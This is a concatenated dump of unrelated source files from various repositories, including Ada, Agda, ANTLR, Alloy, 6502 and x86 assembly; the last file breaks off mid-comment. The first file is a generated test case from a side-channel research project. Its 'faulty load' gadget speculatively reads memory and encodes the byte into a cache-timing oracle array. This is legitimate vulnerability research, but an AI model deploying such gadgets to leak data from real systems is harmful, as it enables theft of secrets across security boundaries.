Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_9.asm | ljhsiun2/medusa | 9 | 6336 | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x157d7, %rsi
lea addresses_WT_ht+0xe6ff, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
sub %rbp, %rbp
mov $77, %rcx
rep movsq
nop
nop
xor $6650, %rax
lea addresses_A_ht+0x1ae5f, %rsi
lea addresses_normal_ht+0x1a118, %rdi
nop
nop
nop
and $30277, %r14
mov $64, %rcx
rep movsl
nop
nop
nop
xor %rbp, %rbp
lea addresses_A_ht+0x1e897, %r14
nop
nop
nop
nop
cmp $50153, %rbp
mov (%r14), %esi
nop
nop
nop
nop
cmp $1187, %rbp
lea addresses_normal_ht+0x32ce, %rax
nop
nop
nop
nop
add $17081, %r9
movw $0x6162, (%rax)
nop
nop
dec %rcx
lea addresses_normal_ht+0xaf37, %rbp
and %r14, %r14
mov $0x6162636465666768, %rsi
movq %rsi, %xmm0
movups %xmm0, (%rbp)
nop
nop
add $29610, %rcx
lea addresses_D_ht+0x19105, %rdi
cmp $8346, %r14
movb $0x61, (%rdi)
nop
nop
nop
nop
sub %rcx, %rcx
lea addresses_WC_ht+0x1efff, %rbp
nop
inc %rsi
mov $0x6162636465666768, %rdi
movq %rdi, %xmm1
movups %xmm1, (%rbp)
nop
nop
nop
nop
sub $49200, %rbp
lea addresses_WC_ht+0x19b7f, %r9
nop
add $11899, %r14
mov (%r9), %ebp
nop
and %r14, %r14
lea addresses_normal_ht+0xb03f, %rsi
clflush (%rsi)
nop
nop
nop
nop
nop
and %r9, %r9
movw $0x6162, (%rsi)
inc %r14
lea addresses_D_ht+0x797f, %rax
nop
nop
nop
nop
xor %rbp, %rbp
movups (%rax), %xmm1
vpextrq $0, %xmm1, %rsi
nop
nop
nop
nop
sub %rbp, %rbp
lea addresses_UC_ht+0x7640, %r14
nop
and %rbp, %rbp
movb $0x61, (%r14)
xor %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r9
push %rcx
push %rdi
push %rsi
// Faulty Load
lea addresses_PSE+0x11bff, %rdi
nop
nop
nop
nop
nop
lfence
vmovups (%rdi), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $0, %xmm7, %r9
lea oracles, %r14
and $0xff, %r9
shlq $12, %r9
mov (%r14,%r9,1), %r9
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}}
{'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False}}
{'src': {'same': True, 'congruent': 7, 'NT': False, 'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': True, 'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
snapgear_linux/user/ncurses/ncurses-5.6/Ada95/samples/sample-helpers.adb | impedimentToProgress/UCI-BlueChip | 0 | 28767 | ------------------------------------------------------------------------------
-- --
-- GNAT ncurses Binding Samples --
-- --
-- Sample.Helpers --
-- --
-- B O D Y --
-- --
------------------------------------------------------------------------------
-- Copyright (c) 1998,2006 Free Software Foundation, Inc. --
-- --
-- Permission is hereby granted, free of charge, to any person obtaining a --
-- copy of this software and associated documentation files (the --
-- "Software"), to deal in the Software without restriction, including --
-- without limitation the rights to use, copy, modify, merge, publish, --
-- distribute, distribute with modifications, sublicense, and/or sell --
-- copies of the Software, and to permit persons to whom the Software is --
-- furnished to do so, subject to the following conditions: --
-- --
-- The above copyright notice and this permission notice shall be included --
-- in all copies or substantial portions of the Software. --
-- --
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS --
-- OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF --
-- MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. --
-- IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, --
-- DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR --
-- OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR --
-- THE USE OR OTHER DEALINGS IN THE SOFTWARE. --
-- --
-- Except as contained in this notice, the name(s) of the above copyright --
-- holders shall not be used in advertising or otherwise to promote the --
-- sale, use or other dealings in this Software without prior written --
-- authorization. --
------------------------------------------------------------------------------
-- Author: <NAME>, 1996
-- Version Control
-- $Revision: 1.11 $
-- $Date: 2006/06/25 14:30:22 $
-- Binding Version 01.00
------------------------------------------------------------------------------
with Terminal_Interface.Curses;
with Sample.Explanation; use Sample.Explanation;
-- This package contains some conveniant helper routines used throughout
-- this example.
--
package body Sample.Helpers is
procedure Window_Title (Win : in Window;
Title : in String)
is
Height : Line_Count;
Width : Column_Count;
Pos : Column_Position := 0;
begin
Get_Size (Win, Height, Width);
if Title'Length < Width then
Pos := (Width - Title'Length) / 2;
end if;
Add (Win, 0, Pos, Title);
end Window_Title;
procedure Not_Implemented is
begin
Explain ("NOTIMPL");
end Not_Implemented;
end Sample.Helpers;
|
FormalAnalyzer/models/meta/cap_ultravioletIndex.als | Mohannadcse/IoTCOM_BehavioralRuleExtractor | 0 | 3602 | <gh_stars>0
// filename: cap_ultravioletIndex.als
module cap_ultravioletIndex
open IoTBottomUp
one sig cap_ultravioletIndex extends Capability {}
{
attributes = cap_ultravioletIndex_attr
}
abstract sig cap_ultravioletIndex_attr extends Attribute {}
one sig cap_ultravioletIndex_attr_ultravioletIndex extends cap_ultravioletIndex_attr {}
{
values = cap_ultravioletIndex_attr_ultravioletIndex_val
}
abstract sig cap_ultravioletIndex_attr_ultravioletIndex_val extends AttrValue {}
one sig cap_ultravioletIndex_attr_ultravioletIndex_val0 extends cap_ultravioletIndex_attr_ultravioletIndex_val {}
|
roms/tests/apu/blargg_apu_2005.07.30/source/05.len_timing_mode0.asm | MrKOSMOS/ANESE | 1,461 | 96019 | ; Tests length counter timing in mode 0.
.include "prefix_apu.a"
reset:
jsr setup_apu
lda #2;) First length is clocked too soon
sta result
jsr sync_apu
lda #$18 ; load length with 2
sta $4003
lda #$c0 ; clock length
sta $4017
lda #$00 ; begin mode 0
sta $4017
ldy #53 ; 14911 delay
lda #55
jsr delay_ya1
lda $4015 ; read at 14915
jsr should_be_playing
lda #3;) First length is clocked too late
sta result
jsr sync_apu
lda #$18 ; load length with 2
sta $4003
lda #$c0 ; clock length
sta $4017
lda #$00 ; begin mode 0
sta $4017
ldy #53 ; 14912 delay
lda #55
jsr delay_ya2
lda $4015 ; read at 14916
jsr should_be_silent
lda #4;) Second length is clocked too soon
sta result
jsr sync_apu
lda #$18 ; load length with 2
sta $4003
lda #$00 ; begin mode 0
sta $4017
ldy #110 ; 29827 delay
lda #53
jsr delay_ya0
lda $4015 ; read at 29831
jsr should_be_playing
lda #5;) Second length is clocked too late
sta result
jsr sync_apu
lda #$18 ; load length with 2
sta $4003
lda #$00 ; begin mode 0
sta $4017
ldy #110 ; 29828 delay
lda #53
jsr delay_ya1
lda $4015 ; read at 29832
jsr should_be_silent
lda #6;) Third length is clocked too soon
sta result
jsr sync_apu
lda #$28 ; load length with 4
sta $4003
lda #$c0 ; clock length
sta $4017
lda #$00 ; begin mode 0
sta $4017
ldy #58 ; 44741 delay
lda #153
jsr delay_ya6
lda $4015 ; read at 44745
jsr should_be_playing
lda #7;) Third length is clocked too late
sta result
jsr sync_apu
lda #$28 ; load length with 4
sta $4003
lda #$c0 ; clock length
sta $4017
lda #$00 ; begin mode 0
sta $4017
ldy #58 ; 44741 delay
lda #153
jsr delay_ya7
lda $4015 ; read at 44746
jsr should_be_silent
lda #1;) Passed tests
sta result
error:
jmp report_final_result
should_be_playing:
and #$01
beq error
rts
should_be_silent:
and #$01
bne error
rts
|
vendor/stdlib/src/Algebra/Props/AbelianGroup.agda | isabella232/Lemmachine | 56 | 1301 | ------------------------------------------------------------------------
-- Some derivable properties
------------------------------------------------------------------------
open import Algebra
module Algebra.Props.AbelianGroup (g : AbelianGroup) where
open AbelianGroup g
import Relation.Binary.EqReasoning as EqR; open EqR setoid
open import Data.Function
open import Data.Product
private
lemma : ∀ x y → x ∙ y ∙ x ⁻¹ ≈ y
lemma x y = begin
x ∙ y ∙ x ⁻¹ ≈⟨ comm _ _ ⟨ ∙-pres-≈ ⟩ refl ⟩
y ∙ x ∙ x ⁻¹ ≈⟨ assoc _ _ _ ⟩
y ∙ (x ∙ x ⁻¹) ≈⟨ refl ⟨ ∙-pres-≈ ⟩ proj₂ inverse _ ⟩
y ∙ ε ≈⟨ proj₂ identity _ ⟩
y ∎
-‿∙-comm : ∀ x y → x ⁻¹ ∙ y ⁻¹ ≈ (x ∙ y) ⁻¹
-‿∙-comm x y = begin
x ⁻¹ ∙ y ⁻¹ ≈⟨ comm _ _ ⟩
y ⁻¹ ∙ x ⁻¹ ≈⟨ sym $ lem ⟨ ∙-pres-≈ ⟩ refl ⟩
x ∙ (y ∙ (x ∙ y) ⁻¹ ∙ y ⁻¹) ∙ x ⁻¹ ≈⟨ lemma _ _ ⟩
y ∙ (x ∙ y) ⁻¹ ∙ y ⁻¹ ≈⟨ lemma _ _ ⟩
(x ∙ y) ⁻¹ ∎
where
lem = begin
x ∙ (y ∙ (x ∙ y) ⁻¹ ∙ y ⁻¹) ≈⟨ sym $ assoc _ _ _ ⟩
x ∙ (y ∙ (x ∙ y) ⁻¹) ∙ y ⁻¹ ≈⟨ sym $ assoc _ _ _ ⟨ ∙-pres-≈ ⟩ refl ⟩
x ∙ y ∙ (x ∙ y) ⁻¹ ∙ y ⁻¹ ≈⟨ proj₂ inverse _ ⟨ ∙-pres-≈ ⟩ refl ⟩
ε ∙ y ⁻¹ ≈⟨ proj₁ identity _ ⟩
y ⁻¹ ∎
|
tecl/src/main/antlr4/org/tbee/tecl/antlr/TECL.g4 | tbee/TECL | 0 | 1105 | grammar TECL;
@parser::header {
import java.util.Stack;
import java.util.List;
import java.util.ArrayList;
import org.tbee.tecl.TECL;
}
@parser::members
{
static public interface Listener {
void setProperty(String key, List<String> values);
void setProperty(int idx, String key, String value);
void startGroup(String id);
void endGroup();
void startAttributes();
void addAttribute(String key, String value);
void startConditions();
void addCondition(String key, String comparator, String value);
void startTable();
void terminateTable();
void startTableRow();
void addTableData(List<String> value);
void addTableData(String value);
}
public ParserRuleContext parse(Listener listener) {
this.listener = listener;
return this.configs();
}
private Listener listener;
private List<String> listValues = new ArrayList<>();
}
/*------------------------------------------------------------------
* PARSER RULES
*------------------------------------------------------------------*/
input_file
: configs EOF
;
configs
: NL* ( config ( NL+ config )* NL* )?
;
config
: property
| group
| table
;
property
: WORD attributes? conditions? ASSIGN value { listener.setProperty(0, $WORD.text, $value.text); } // _localctx.start.getLine()
| WORD attributes? conditions? ASSIGN list { listener.setProperty($WORD.text, listValues); }
| WORD attributes? conditions? ASSIGN { listener.setProperty(0, $WORD.text, ""); }
;
group
: WORD conditions? { listener.startGroup($WORD.text); }
NL* OBRACE configs CBRACE { listener.endGroup(); }
;
conditions
: OBRACK { listener.startConditions(); }
condition ( AND condition )* CBRACK
;
condition
: WORD EQUALS value { listener.addCondition($WORD.text, $EQUALS.text, $value.text); }
;
attributes
: OPARENTHESIS { listener.startAttributes(); }
attribute attribute* CPARENTHESIS
;
attribute
: WORD EQUALS value { listener.addAttribute($WORD.text, $value.text); }
;
table
: { listener.startTable(); }
row
(
(
COMMENT? NL { if ($NL.text.length() > 1) { listener.terminateTable(); } }
)+
row
)*
;
row
: { listener.startTableRow(); }
PIPE (
( list { listener.addTableData(listValues); }
| col_value { listener.addTableData($col_value.text); }
)
PIPE
)+
;
col_value : ~( PIPE | NL )*;
value
: WORD
| REFERENCE
| string
;
string
: STRING
| WORD+
;
list
: OBRACK ( value { listValues.clear(); listValues.add($value.text); }
( COMMA value { listValues.add($value.text); }
)*
)? CBRACK
;
/*------------------------------------------------------------------
* LEXER RULES
*------------------------------------------------------------------*/
ASSIGN : ':';
OBRACK : '[';
CBRACK : ']';
OBRACE : '{';
CBRACE : '}';
OPARENTHESIS : '(';
CPARENTHESIS : ')';
COMMA : ',';
PIPE : '|';
AND : '&';
EQUALS : '=';
REFERENCE
: '$' WORD
;
NL
: [\r\n]+
;
STRING
: '"""' ( EscapedTripleQuote | . )*? '"""'
| '"' ( ~[\\"] | '\\' . )* '"'
;
fragment EscapedTripleQuote : '\\"""';
WORD
: ~[ \t\r\n[\]{}():=<>!,|&]+
;
COMMENT
: '#' ~[\r\n]* -> skip
;
SPACES
: [ \t]+ -> skip
;
|
src/io/port8.asm | altaris/potatos | 0 | 12180 | global read_port8
global write_port8
read_port8:
mov edx, [esp + 4]
in al, dx
ret
write_port8:
mov edx, [esp + 4]
mov al, [esp + 4 + 4]
out dx, al
ret
|
example.asm | Cat-Gaming/my-little-instruction-set | 0 | 172172 | load accum 5 # any comments work
load a 5 # load register a to 0x05
load b 5
add_a b
add_a b // Adds a into B
# example of moving a value into register a from register b
load a 0 # loads a to 0
add_b a
# and the value is moved yay
wait # wait-for user to press enter
hlt # Halts the Machine |
oeis/248/A248179.asm | neoneye/loda-programs | 11 | 244778 | <filename>oeis/248/A248179.asm
; A248179: Decimal expansion of (2/27)*(9 + 2*sqrt(3)*Pi).
; Submitted by <NAME>
; 1,4,7,2,7,9,9,7,1,7,4,3,7,4,3,0,1,5,5,8,1,9,5,9,0,3,3,6,7,2,9,8,4,6,9,9,2,1,2,6,2,5,1,6,6,5,8,1,8,9,9,5,8,1,1,3,6,4,3,9,3,3,0,4,6,1,6,9,4,3,6,3,6,0,5,6,1,5,7,2,8,1,6,3,7,3,8,8,8,8,3,6,4,9,8,0,4,5,1,9
mov $2,1
mov $3,$0
mul $3,5
lpb $3
mul $1,$3
mov $5,$3
sub $5,1
mul $5,2
add $5,1
mul $2,$5
add $1,$2
cmp $4,0
mov $5,$0
add $5,$4
div $1,$5
div $2,$5
mul $2,2
sub $3,1
lpe
mul $1,4
mov $6,10
pow $6,$0
div $2,$6
div $1,$2
add $1,$6
mov $0,$1
mod $0,10
|
guest/s2ebios/s2e-bios-low-asm.asm | sebastianpoeplau/s2e | 55 | 13969 | ; S2E Selective Symbolic Execution Platform
;
; Copyright (c) 2013 Dependable Systems Laboratory, EPFL
;
; Permission is hereby granted, free of charge, to any person obtaining a copy
; of this software and associated documentation files (the "Software"), to deal
; in the Software without restriction, including without limitation the rights
; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
; copies of the Software, and to permit persons to whom the Software is
; furnished to do so, subject to the following conditions:
;
; The above copyright notice and this permission notice shall be included in all
; copies or substantial portions of the Software.
;
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
; SOFTWARE.
;This is the lower part of the bios, at 0xe0000
;It runs in protected mode
[bits 32]
%define OSDATA32_SEL 0x08
%define OSCODE32_SEL 0x10
org 0xe0000
jmp start
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Interrupt descriptor table
%define IDT_START 0
pm_idtr:
dw 0x8*256
dd IDT_START
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%define IA32_IDT_TYPE_32BITS 0x0800
%define IA32_IDT_PRESENT 0x8000
;On initialise le PIC 8259A...
pmode_initpic:
MOV AL,00010001b
OUT 0x20,AL ;ICW1 - MASTER
OUT 0xA0,AL ;ICW1 - SLAVE
MOV AL,20h
OUT 0x21,AL ;ICW2 - MASTER
MOV AL,28h
OUT 0xa1,AL ;ICW2 - SLAVE
MOV AL,00000100b
OUT 0x21,AL ;ICW3 - MASTER
MOV AL,00000010b
OUT 0xa1,AL ;ICW3 - SLAVE
MOV AL,00000001b
OUT 0x21,AL ;ICW4 - MASTER
OUT 0xa1,AL ;ICW4 - SLAVE
MOV AL,11111011b ;Masked all but cascade/timer
OUT 0x21,AL ;MASK - MASTER (0= Ints ON)
MOV AL,11111111b
OUT 0xa1,AL ;MASK - SLAVE
RET
;eax: interrupt number
;edi: handler
msg_add_idt: db "Adding interrupt vector ", 0
add_idt_desc:
push edi
shl eax, 3
add eax, IDT_START
mov [eax], di
mov word [eax+2], OSCODE32_SEL
mov word [eax+4], IA32_IDT_PRESENT | IA32_IDT_TYPE_32BITS | 0x0600
shr edi, 16
mov [eax+6], di
pop edi
ret
start:
;Initialize interrupt tables here
push msg_init_int_table
call s2e_print_message
add esp, 4
xor ecx, ecx
mov edi, int_default
start_0:
cmp ecx, 256
jae start_1
;push ecx
;push msg_add_idt
;push ecx
;call s2e_print_expression
;add esp, 8
;pop ecx
push ecx
mov eax, ecx
call add_idt_desc
pop ecx
inc ecx
jmp start_0
start_1:
mov eax, 0
mov edi, int_0
call add_idt_desc
lidt [pm_idtr]
call pmode_initpic
sti
; Test an interrupt call
;int 0x80
;cli
;hlt
; Go to the testing routines
jmp s2e_test
%include "s2e-inst.asm"
%include "s2e-test.asm"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Interrupt handlers
msg_init_int_table: db "Initializing interrupt table", 0
int_msg_default: db "Called default interrupt handler", 0
int_div_zero: db "Division by zero", 0
int_msg: db "Called interrupt", 0
; Default interrupt handler
int_default:
pusha
push int_msg_default
call s2e_print_message
add esp, 4
popa
iret
; Default interrupt handler
int_0:
pusha
push int_div_zero
push 0
call s2e_kill_state
add esp, 4
popa
iret
int80:
push int_msg
push 0x80
call s2e_print_expression
add esp, 8
iret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
times 0x10000 - ($-$$) db 0
|
Programs/Source/multiply.asm | JetStarBlues/BenEater_CPU | 4 | 175367 | // Description:
// OUT = M[20] * M[21]
// https://youtu.be/Zg1NdPKoosU
// TODO - Won't work until figure out how to
// 'STA addr' when 'addr > 15', as program code is 17 lines
// Setup --
LDI 7 // x
STA 20 // M[20] = x
LDI 31 // y
STA 21 // M[21] = y
// M[22] = product
LDI 1
STA 23 // M[23] = 1
// Main --
// loop until x is zero
LDA 20 // x
SUB 23 // x -= 1, "when subtract one from anything but zero, carry bit set" ... "SUB 1 is actually ADD 255"
JC 12 // jump to addition (instr12)
// done
LDA 22 // product
OUT
HLT
// add
STA 20 // update x
LDA 22 // product
ADD 21 // product += y
STA 22
JMP 6 // jump to next iteration (instr6)
|
thirdparty/adasdl/thin/adasdl/AdaSDL/binding/sdl-types.adb | Lucretia/old_nehe_ada95 | 0 | 4203 |
package body SDL.Types is
-- ===================================================================
-- generic
-- type Data_Type is private;
-- type Amount_Type is private;
-- function Shift_Left (
-- Data : Data_Type;
-- Amount : Amount_Type) return Data_Type;
-- function Shift_Left (
-- Value : Value_Type;
-- Amount : Amount_Type) return Data_Type
-- is
-- use Interfaces;
-- begin
-- return Uint8 (Shift_Left (Unsigned_8 (Value), Amount));
-- end Shift_Left;
-- ===================================================================
function Shift_Left (
Value : Uint8;
Amount : Integer) return Uint8
is
use Interfaces;
begin
return Uint8 (Shift_Left (Unsigned_8 (Value), Amount));
end Shift_Left;
-- ===================================================================
function Shift_Right (
Value : Uint8;
Amount : Integer) return Uint8
is
use Interfaces;
begin
return Uint8 (Shift_Right (Unsigned_8 (Value), Amount));
end Shift_Right;
-- ===================================================================
function Shift_Left (
Value : Uint16;
Amount : Integer) return Uint16
is
use Interfaces;
begin
return Uint16 (Shift_Left (Unsigned_16 (Value), Amount));
end Shift_Left;
-- ===================================================================
function Shift_Right (
Value : Uint16;
Amount : Integer) return Uint16
is
use Interfaces;
begin
return Uint16 (Shift_Right (Unsigned_16 (Value), Amount));
end Shift_Right;
-- ===================================================================
function Shift_Left (
Value : Uint32;
Amount : Integer) return Uint32
is
use Interfaces;
begin
return Uint32 (Shift_Left (Unsigned_32 (Value), Amount));
end Shift_Left;
-- ===================================================================
function Shift_Right (
Value : Uint32;
Amount : Integer) return Uint32
is
use Interfaces;
begin
return Uint32 (Shift_Right (Unsigned_32 (Value), Amount));
end Shift_Right;
-- ===================================================================
function Increment (
Pointer : Uint8_Ptrs.Object_Pointer;
Amount : Natural) return Uint8_Ptrs.Object_Pointer
is
use Uint8_PtrOps;
begin
return Uint8_Ptrs.Object_Pointer (
Uint8_PtrOps.Pointer (Pointer)
+ C.ptrdiff_t (Amount));
end Increment;
-- ===================================================================
function Decrement (
Pointer : Uint8_Ptrs.Object_Pointer;
Amount : Natural) return Uint8_Ptrs.Object_Pointer
is
use Uint8_PtrOps;
begin
return Uint8_Ptrs.Object_Pointer (
Uint8_PtrOps.Pointer (Pointer)
- C.ptrdiff_t (Amount));
end Decrement;
-- ===================================================================
function Increment (
Pointer : Uint16_Ptrs.Object_Pointer;
Amount : Natural) return Uint16_Ptrs.Object_Pointer
is
use Uint16_PtrOps;
begin
return Uint16_Ptrs.Object_Pointer (
Uint16_PtrOps.Pointer (Pointer)
+ C.ptrdiff_t (Amount));
end Increment;
-- ===================================================================
function Decrement (
Pointer : Uint16_Ptrs.Object_Pointer;
Amount : Natural) return Uint16_Ptrs.Object_Pointer
is
use Uint16_PtrOps;
begin
return Uint16_Ptrs.Object_Pointer (
Uint16_PtrOps.Pointer (Pointer)
- C.ptrdiff_t (Amount));
end Decrement;
-- ===================================================================
function Increment (
Pointer : Uint32_Ptrs.Object_Pointer;
Amount : Natural) return Uint32_Ptrs.Object_Pointer
is
use Uint32_PtrOps;
begin
return Uint32_Ptrs.Object_Pointer (
Uint32_PtrOps.Pointer (Pointer)
+ C.ptrdiff_t (Amount));
end Increment;
-- ===================================================================
function Decrement (
Pointer : Uint32_Ptrs.Object_Pointer;
Amount : Natural) return Uint32_Ptrs.Object_Pointer
is
use Uint32_PtrOps;
begin
return Uint32_Ptrs.Object_Pointer (
Uint32_PtrOps.Pointer (Pointer)
- C.ptrdiff_t (Amount));
end Decrement;
-- ===================================================================
procedure Copy_Array (
Source : Uint8_Ptrs.Object_Pointer;
Target : Uint8_Ptrs.Object_Pointer;
Lenght : Natural)
is
begin
Uint8_PtrOps.Copy_Array (
Uint8_PtrOps.Pointer (Source),
Uint8_PtrOps.Pointer (Target),
C.ptrdiff_t (Lenght));
end Copy_Array;
-- ===================================================================
end SDL.Types;
|
Irvine/Examples/ch09/32 bit/RowSum.asm | alieonsido/ASM_TESTING | 0 | 169921 | <reponame>alieonsido/ASM_TESTING
; Row Sum Calculation (RowSum.asm)
; This program demonstrates the use of Base-Index addressing
; with a two-dimensional table array of bytes (a byte matrix).
INCLUDE Irvine32.inc
.data
tableB BYTE 10h, 20h, 30h, 40h, 50h
BYTE 60h, 70h, 80h, 90h, 0A0h
BYTE 0B0h, 0C0h, 0D0h, 0E0h, 0F0h
RowSize = 5
msg1 BYTE "Enter row number: ",0
msg2 BYTE "The sum is: ",0
.code
main PROC
; Demonstrate Base-Index mode:
mov edx,OFFSET msg1 ; "Enter row number:"
call WriteString
call Readint ; EAX = row number
mov ebx,OFFSET tableB
mov ecx,RowSize
call calc_row_sum ; EAX = sum
mov edx,OFFSET msg2 ; "The sum is:"
call WriteString
call WriteHex ; write sum in EAX
call Crlf
exit
main ENDP
;------------------------------------------------------------
calc_row_sum PROC uses ebx ecx edx esi
;
; Calculates the sum of a row in a byte matrix.
; Receives: EBX = table offset, EAX = row index,
